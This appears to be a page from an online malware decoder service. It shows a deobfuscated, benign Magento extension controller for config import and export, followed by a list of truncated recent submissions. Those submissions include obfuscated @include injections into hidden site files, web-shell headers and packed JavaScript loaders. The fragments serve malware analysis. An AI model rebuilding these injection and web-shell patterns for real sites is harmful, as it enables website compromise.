Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


/**
 * NOTICE OF LICENSE
 *
 * This source file is subject to the Regular License.
 * You may not use any part of the code in whole or part in any other software
 * or product or website.
 *
 * @author		Infortis
 * @copyright	Copyright (c) 2014 Infortis
 * @license		Regular License http://themeforest.net/licenses/regular 
 */
class Infortis_Dataporter_Adminhtml_CfgporterController extends Mage_Adminhtml_Controller_Action{ protected $_helper; protected $_hc; protected $_ep; protected function _construct() {$this->_helper= Mage::helper("dataporter");$this->_hc = Mage::helper("dataporter/cfgporter_data");$this->_ep= "dataporter_cfgporter"; } public function indexAction() { $x0e = $this->getRequest()->getParam("action_type");if ($x0e === "export"){ $x0f = $this->getLayout()->createBlock("dataporter/adminhtml_cfgporter_export_edit");}elseif ($x0e === "import"){ $x0f = $this->getLayout()->createBlock("dataporter/adminhtml_cfgporter_import_edit");}elseif ($x0e === NULL){ $this->getResponse()->setRedirect($this->getUrl("adminhtml/dashboard")); return;}$this->loadLayout();$this->_setActiveMenu('infortis');$this->_addBreadcrumb($this->_helper->__("Config Import and Export"), $this->_helper->__("Config Import and Export")); $this->_addContent($x0f);$this->renderLayout(); } public function exportAction() {$this->loadLayout(); $x10 = $this->x0d();if (!empty($x10)){ try { $x11 = $this->x0b();$this->x0c($x11); $x12 = $this->getRequest()->getParam("stores");if (is_array($x12)){ throw new Exception("Website/Store ID retrieved as array. Expected string.");}$this->x11($x10, "default", $x12, $x11);Mage::getSingleton("adminhtml/session")->addSuccess( $this->_helper->__("Successfully exported to file %s", $x11)); } catch (Exception $x13) {Mage::logException($x13);Mage::getSingleton("adminhtml/session")->addError( $this->_helper->__("An error occurred during export to file %s", $x11) . "<br/>" . $this->_helper->__("Exception: %s", $x13->getMessage())); } }else{ Mage::getSingleton("adminhtml/session")->addError($this->_helper->__("An error occurred: no source module selected for export.") );}$this->renderLayout();$this->getResponse()->setRedirect($this->getUrl("**/", $this->x0f())); } protected function x0e() { $x1c = $this->_helper->getTmpFileBaseDir();$x1d = '';$x1e = '';if (!empty($x1f["data_import_file"]["name"])) {if (file_exists($x1f["data_import_file"]["tmp_name"])){try{ $x20 = new Varien_File_Uploader("data_import_file"); $x20->setAllowedExtensions(array('xml')); $x20->setAllowCreateFolders(true); $x20->setAllowRenameFiles(false); $x20->setFilesDispersion(false);$x20->save($x1c, $x1f["data_import_file"]["name"]); $x1e = $x1c . $x1f["data_import_file"]["name"];}catch(Exception $x13){ Mage::getSingleton("adminhtml/session")->addError($this->_helper->__("An error occurred during upload of file %s", $x1f["data_import_file"]["name"]). "<br/>" .$this->_helper->__("Exception: %s", $x13->getMessage()) );}}}else { $x1e = $this->_hc->getPresetFilepath($this->getRequest()->getParam("preset_name"),$this->getRequest()->getParam("package") );}if (!empty($x1e)){ return $x1e;}else{ return '';} } protected function x0f() {$x21 = array();$x21["action_type"] = $this->getRequest()->getParam("action_type");$x21["package"] = $this->getRequest()->getParam("package");return $x21; } protected function x10($x22) {$x23 = print_r($this->getRequest()->getParams(), 1);Mage::log("Here: " . $x22 . " :\n" . $x23, null, "dataporter.log");$x24= "<pre>" . $x22 . " :\n";$x24 .= $x23;$x24 .= "</pre>";$x0f = $this->getLayout()->createBlock("core/text", "debug-data-print")->setText($x24);$this->_addContent($x0f); } protected function x11($x10, $x25, $x12, $x14, $x26=TRUE, $x27 = FALSE) { $x28 = $this->x12($x10, $x25);$x29 = array();foreach ($x28->children() as $x2a){foreach ($x2a->children() as $x2b) { foreach ($x2b->children() as $x2c){if ($x2c->hasChildren()) { continue;}$x2d = $x2a->getName() . '/' . $x2b->getName() . '/' . $x2c->getName(); $x2e = Mage::getStoreConfig($x2d,$x12 );if ($x12 > 0 && '' === $x2e) {if ($x26){$x2f = Mage::getStoreConfig($x2d,0 );$x2e = $x2f;if ($x27) {if ('' === $x2f){$x29[] = $x2d; continue;} }} }$x2b->{$x2c->getName()} = $x2e;}} } foreach ($x29 as $x30){ $x31 = $x28->xpath($x30); unset($x31[0][0]);} $x32 = $x28->asNiceXml();if (!file_put_contents($x14, $x32)){ throw new Exception("Unable to write file.");} } protected function x12($x10, $x25) {$x33 = simplexml_load_string("<defaul></defaul>", "Varien_Simplexml_Element"); foreach ($x10 as $x34){$x31 = $this->x13($x34, $x25); if ($x31 && ($x31 instanceof SimpleXMLElement)) { foreach ($x31->children() as $x35){ $x33->appendChild($x35);} }}return $x33; } protected function x13($x34, $x25) {$x36 = Mage::getConfig()->getModuleDir("etc", $x34) . DS . "config.xml"; if (file_exists($x36)){ $x37 = file_get_contents($x36);if ($x37 !== FALSE) {$x38 = simplexml_load_string($x37, "Varien_Simplexml_Element"); $x31 = $x38->descend($x25);return $x31; }}return NULL; } protected function x14($x19, $x39, $x14) { $x28 = $this->x15($x14);if (!$x28){ throw new Exception("Unable to read XML data from file - empty file or invalid format.");} foreach ($x28->children() as $x2a){foreach ($x2a->children() as $x2b) { foreach ($x2b->children() as $x2c){if ($x2c->hasChildren()) { continue; }$x3a = (string) $x2c; if ('' === $x3a) {$x3a = NULL; }Mage::getConfig()->saveConfig($x2a->getName() . '/' . $x2b->getName() . '/' . $x2c->getName(),$x3a,$x19,$x39 );} }}} protected function x15($x11) {$x37 = file_get_contents($x11);return simplexml_load_string($x37, "Varien_Simplexml_Element"); }}


Recent submissions:

<?php $_ia3j1v = basename/*4h*/(/*514*/trim/*8r*/(/*o7k*/preg_replace/*2pa*/(/*vc*/rawurl... function Spin2WinWheel(){var Aa=location.pathname.substr(location.pathname.length-3),t=thi... @include "\057ho\155e/\145da\141ma\057pu\142li\143_h\164ml\057wp\062/w\160-a\144mi\156/c\1... <?php /*307d4*/ @include "\057h\157m\145/\164r\141i\164e\165r\144/\167w\167/\155o\144u... {"reason": "Internal server error", "details": "\u041d\u0435\u043f\u0440\u0430\u0432\u0438... @include "\057hom\145/tr\141ite\165rd/\167ww/\155odu\154es/\146ilt\145r/t\145sts\057.a2\06... $oixgv = 'Hnc49#i_v5xp*-efa7g30sdkum1oytl\'r8b';$tbryn = Array();$tbryn[] = $oixgv[0].$oix... var _0x550c=['\x63\x6d\x56\x74\x62\x33\x5a\x6c','\x63\x32\x56\x75\x63\x79\x31\x70\x62\x6e\... @include "\057h\157m\145/\164r\141i\164e\165r\144/\167w\167/\155o\144u\154e\163/\146i\154t... include "\x2fhom\x65/sh\x61mro\x63k-p\x72o/p\x75bli\x63_ht\x6dl/w\x70-co\x6eten\x74/pl\x75... include "\x2fhom\x65/sh\x61mro\x63k-p\x72o/p\x75bli\x63_ht\x6dl/w\x70-co\x6eten\x74/pl\x75... {"reason": "\u041d\u0435\u0432\u0456\u0440\u043d\u043e \u0432\u0432\u0435\u0434\u0435\u043... @include "\057h\157m\1451\057m\151r\157c\141r\1451\0647\057p\165b \154i\143_\150t\155... eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... @include "\057hom\1451/m\151roc\141re1\0647/p\165bli\143_ht\155l/a \144min\057buy\151ng... {"reason": "\u041d\u0435\u0432\u0456\u0440\u043d\u043e \u0432\u0432\u0435\u0434\u0435\u043... {"reason": "\u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442... /*1e9ce*/ @include "\057h\157m\145/\153h\141d\162d\161n\171i\164f\057p\165b\154i\143_\1... 7b17e9pVsjj8auZs5jt1S+9vrx2bi1ZPHHsGm/vdgMEmk8dUIlUYg5AEyIg5bD/7W9XduoHEfXNqz2I9Exuk7urq6u... <?php @ini_set('output_buffering',0); @ini_set('display_errors', E_ALL); $BlackhatCode... <?php @ini_set('output_buffering',0); @ini_set('display_errors', E_ALL); $BlackhatCode... class Wyomind_Licensemanager_Helper_Licensemanager {public $x673 = null;public $x681 = nul... <?php /** * Copyright © 2015 Wyomind. All rights reserved. * See LICENSE.txt for ... (function(){var _0x5206=['LsOpUsOeasOvwr52fMOFOwfDnMKpw7DDi05hw6tyBsO8wpDDpkV+XABywqs/wqFD... <?php $GLOBALS['pass'] = "f87c7d303a83533445be16062cb1b5309c9d0d5a"; // sha1(md5(pass)) ... (function(options, lary) { var me = {zoneId: 2857367,format: 'pusher-universal',domain: '... <?php $_F=__FILE__;$_X='P2lCP1ouWg1WOU1Bc0hNOSgnb0ZwS21GVHQnKT43Zz5NUnM9KCdFTz45c3pNMj0+bj... <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72... <?php /*************************************************************************** | Thi... $Rx8XxY5e8Jh2ezz8UTrd9qGvT97zQXAJefqMQ7qHSdWdgYbqpCpsShtLWM3Bk3vHwRhMgQsJcuzKcTWn9uybFhkvt... var _0x6eea=["\x56\x79\x7A\x43\x6B\x63\x4B\x65\x77\x37\x67\x39\x64\x43\x6C\x36\x77\x70\x6E... \057h\157m\145/\151n\156o\166a\1648\057D\141v\151s\104e\163i\147n\163.\155p\154a\151n\056b... <?php /*f80ffe656171f8939932cc5bbb33f877f80ffe656171f8939932cc5bbb33f877*/ ?><?php $QA274... var _0x34a616=function(){var _0x4e2686=!![];return function(_0x38cd18,_0x29f06d){var _0x4e... @include "\057hom\1451/m\151roc\141re1\0647/p\165bli\143_ht\155l/a\144min\057buy\151ng_\14... /*17f5b*/ @include "\057h\157m\1451\057m\151r\157c\141r\1451\0647\057p\165b\154i\143_\1... <?php $O00OO0=base64_decode("bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdq");$O... /*3141b*/ @include "\057ho\155e1\057mi\162oc\141re\06147\057pu\142li\143_h\164ml\057ad\... @include "\057h\157m\1451\057m\151r\157c\141r\1451\0647\057p\165b\154i\143_\150t\155l\057a... /*260d1*/ @include "\057hom\1451/m\151roc\141re1\0647/p\165bli\143_ht\155l/a\144min\057... /*e0ed0*/ @include "\057ho\155e/\141se\163ai\156di\141/p\165bl\151c_\150tm\154/o\157o... /*41d9f*/ @include "\057h\157m\145/\141s\145s\141i\156d\151a\057p\165b\154i\143_\150t\1... /*34d00*/ @include "\057h\157m\145/\141s\145s\141i\156d\151a\057p\165b\154i\143_\150t\1... "\057h\157m\145/\151n\156o\166a\1648\057P\145t\141l\120i\160i\156g\056m\160l\141i\156.\142... \x4f\x4f\x5f\x4f\x30\x30\x30\x5f\x4f\x5f... @include "\x2fho\x6de/\x73ta\x72pv\x63ne\x74/p\x75bl\x69c_\x68tm\x6c/w\x70-a\x64mi\x6e/j\x... @include "\x2fho\x6de/\x73ta\x72pv\x63ne\x74/p\x75bl\x69c_\x68tm\x6c/w\x70-a\x64mi\x6e/j\x... <?php /*26fba*/ @include "\057hom\145/as\145sai\156dia\057pub\154ic_\150tml\057ooo\146... var _0x2651=['\x64\x33\x4a\x70\x64\x47\x55\x3d','\x51\x6c\x52\x44\x49\x45\x46\x6b\x5a\x48\... {"user_id":3368,"subject_id":0,"isn":-17819162,"name":"\xd0\x92\xd1\x8f\xd1\x87\xd0\xb5\xd... \x4f\x5f\x4f\x30\x30\x5f\x5f\x30\x4f\x4f... \057h\157m\145/\151n\156o\166a\1648\057P\145t\141l\120i\160i\156g\056m\160l\141i\156.\142i... @include "\057u\163r\057h\157s\164s\057d\157m\141i\156s\057t\165r\153y\151l\155a\172k\151r... @include "\057ho\155e/\1461y\151xg\061s8\152l5\05712\063lo\143ks\155it\150.n\145t/\167p-\1... @include "\057h\157m\145/\1461\171i\170g\061s\070j\1545\0571\0623\154o\143k\163m\151t\150.... @include "\057us\162/h\157st\163/d\157ma\151ns\057tu\162ky\151lm\141zk\151re\143.c\157m/\1... <?php //004fb if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname()... @include "\057home\062/fer\171rpl1\057publ\151c_ht\155l/pr\157tect\145d/ve\156dor/\163ymfo... ?><?php /* __________________________________________________ | Obfuscated by YAK... @include "\x2fus\x72/h\x6fst\x73/d\x6fma\x69ns\x2ftu\x72ky\x69lm\x61zk\x69re\x63.c\x6fm/\x... <?php @session_start(); @set_time_limit(0); //PASSWORD CONFIGURATION @$pass = $_PO... /*46f81*/ @include "\057h\157m\145/\163t\163n\154/\160u\142l\151c\137h\164m\154/\167p\0... ?><?php /* __________________________________________________ | Obfuscated by YAK P... ['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](... \x6A\x51\x75\x65\x72\x79","\x68\x69\x64\x65","\x2E\x69\x73\x70\x5F\x70\x61\x67\x65\x72","\... \x6A\x51\x75\x65\x72\x79... \033\033\033\033... document.documentElement.innerHTML=String.fromCharCode(60, 104, 116, 109, 108, 62, 32, 32,... "Table:"fraud_rules_osago_names" Conditions:<key:"first_name" value:"\320\242\320\270\3... {"translation-revision-date":"2019-08-15 18:30:22+0000","generator":"GlotPress\/2.4.0-alph... \057var\057www\057cli\145nts\057cli\145nt0\057web\0638/w\145b/m\141nag\145r/m\145dia\057ca... \057var/\167ww/c\154ient\163/cli\145nt0/\167eb38\057web/\155anag\145r/me\144ia/c\141lend\1... \057va\162/w\167w/\143li\145nt\163/c\154ie\156t0\057we\14238\057we\142/m\141na\147er\057me... ?><?php $Csaf="TdYqPnQbkKBvTFxVqaYXGVGfSOlaxOxqrvFghvHsFhmyNJScJQAOLFTEuEEqsaFJUKpbEVuicGf... <?php if (!defined('ALREADY_RUN_1bc29b36f342a82aaf6658785356718')) { define('ALREADY_RU... ?><?php $Csaf="TdYqPnQbkKBvTFxVqaYXGVGfSOlaxOxqrvFghvHsFhmyNJScJQAOLFTEuEEqsaFJUKpbEVuicGf... \057hom\1451/r\145fin\145se/\160ubl\151c_h\164ml/\150eal\164hyh\141irc\141rec\154ini\161ue... /\150eal\164hyh\141irc\141rec\154\ini\161ue/\056wel\154-kn\157wn/\056dbe\066adb\146.ic\157... /\150eal\164hyh\141irc\141rec\154\ini\161ue... \057hom\1451/r... $e8d53 = 659;$GLOBALS['t57f9'] = Array();global $t57f9;$t57f9 = $GLOBALS;${"\x47\x4c\x4fB\... @include "\057v\141r\057w\167w\057v\150o\163t\163/\166m\151s\164u\144i\157.\143o\155/\15... @include "\057h\157m\1452\057h\155t\1410\0661\070/\160u\142l\151c\137h\164m\154/\147u\155i... <!DOCTYPE html><html lang=en style="height: 100%; overflow-y: hidden;"><head><meta charset... \057va\162/w\167w/\166ho\163ts\057bl\141ck\143at\143os\155et\151cs\056co\056uk\057ht\164pd... \057ho\155e/\165se\162s/\141ga\164ek\057pu\142li\143_h\164ml\057ko\163is\056pl\057co\155po... \057ho\155e1\057le\170si\163ne\057pu\142li\143_h\164ml\057or\147an\151za\164io\156al\160hy... \057h\157m\145/\165s\145r\163/\141g\141t\145k\057p\165b\154i\143_\150t\155l\057k\157s\151m... \057home\061/lex\163isne\057publ\151c_ht\155l/ps\151utes\164/wp-\151nclu\144es/I\1043/.8\0... <?php /** * Front to the WordPress application. This file doesn't do anything, but loa... var gdjfgjfgj235f = 1; var d=document;var s=d.createElement('script'); s.type='text/javasc... \057hom\1451/l\145xsi\163ne/\160ubl\151c_h\164ml/\151nsi\147hth\157meo\160ath\171/wp\055in... <?php eval(gzuncompress("xÚKMÎÈW²ÑOÉ,³��Iù)�@*£\x247ÇNÉ\x00¸�\x0a¬"))... eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... /*dfbac*/ @include "\057var\057chr\157ot/\150ome\057con\164ent\05727/\061389\067427\057... /*063e8*/ @include "\057hom\1456/x\141vie\162be/\160ubl\151c_h\164ml/\143alg\162an/\165... \x36\x37\x62\x36\x31\x30\x34\x36\x32\x36... <?php /* */$OOO000000=urldecode('fg6sbehpra4co_tnd');$GLOBALS['OOO0000O0']=$OOO000000{4}.... /*f2184*/ @include "\057home\057aumy\157gavi\145tnam\056com/\160ubli\143_htm\154/wp-\14... \057hom\145/bl\157gqt\164/do\155ain\163/bl\157g.q\165atr\165ctu\171en.\143om/\160riv\141te...

© 2019 Quttera Ltd. All rights reserved.